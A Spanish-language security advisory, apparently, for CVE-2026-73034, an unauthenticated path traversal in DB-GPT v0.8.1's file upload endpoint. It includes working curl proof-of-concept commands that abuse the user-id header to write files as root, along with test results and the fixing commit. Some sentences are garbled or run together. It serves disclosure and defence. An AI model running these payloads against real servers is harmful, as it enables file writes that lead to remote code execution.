
CVE-2026-73034 — DB-GPT v0.8.1 path traversal sin autenticación → escritura arbitraria de archivos como root mediante la cabecera user-id. Verificado + diff de corrección
CVSS 9.8 (Crítico) · CWE-22 · GHSA/Issue #3104
POST /api/v1/python/file/upload en DB-GPT v0.8.1 toma la cabecera HTTP user-id y la usa
tal cual como componente de la ruta:
upload_dir = os.path.join(base_dir, "python_uploads", user_id)
os.makedirs(upload_dir, exist_ok=True)
open(file_path, "wb")
No hay autenticación — si la cabecera está ausente, la aplicación recurre a user_id="001"
con role="admin". Inyectar secuencias ../ en escapa de la raíz de subidas y permite a un
donde el proceso del contenedor (root)
pueda escribir → ruta directa a RCE (webroot , cron jobs, , …).
user-id.pyauthorized_keysAfectados: DB-GPT ≤ v0.8.1
Corregido: v0.8.2+ — commit e0c741bd2b5e521b128cffb3f68982dde3f7b359 (añade una lista blanca
_SAFE_USER_ID_RE ^[A-Za-z0-9_\-]+$, comprobaciones de contención del directorio de subidas y una re-verificación TOCTOU de symlinks).
# write pwned.txt into /tmp/pwned/ on the server (as root)
curl -X POST "http://TARGET/api/v1/python/file/upload" \
-H "user-id: ../../../../tmp/pwned" \
-F "[email protected];filename=pwned.txt"
# write into /root/ (arbitrary location)
curl -X POST "http://TARGET/api/v1/python/file/upload" \
-H "user-id: ../../../../root" \
-F "[email protected];filename=pwned_root.txt"
Nota: FastAPI asigna el parámetro user_id a la cabecera HTTP user-id (con guion, no
con guion bajo).
| Prueba | Resultado |
|---|---|
Subida de control (user-id: alice) | ✅ /app/python_uploads/alice/control.txt |
Exploit user-id: ../../../../tmp/pwned | ✅ /tmp/pwned/pwned.txt ESCRITO (root) |
Exploit user-id: ../../../../root | ✅ /root/pwned_root.txt ESCRITO |
| Compilación corregida (e0c741bd) | ✅ HTTP 400 Invalid user_id: only alphanumeric characters, underscores and hyphens are allowed |
Script completo: poc_cve-2026-73034.sh (ejecuta ambos exploits + verificación dentro del contenedor + comparación
con la compilación corregida).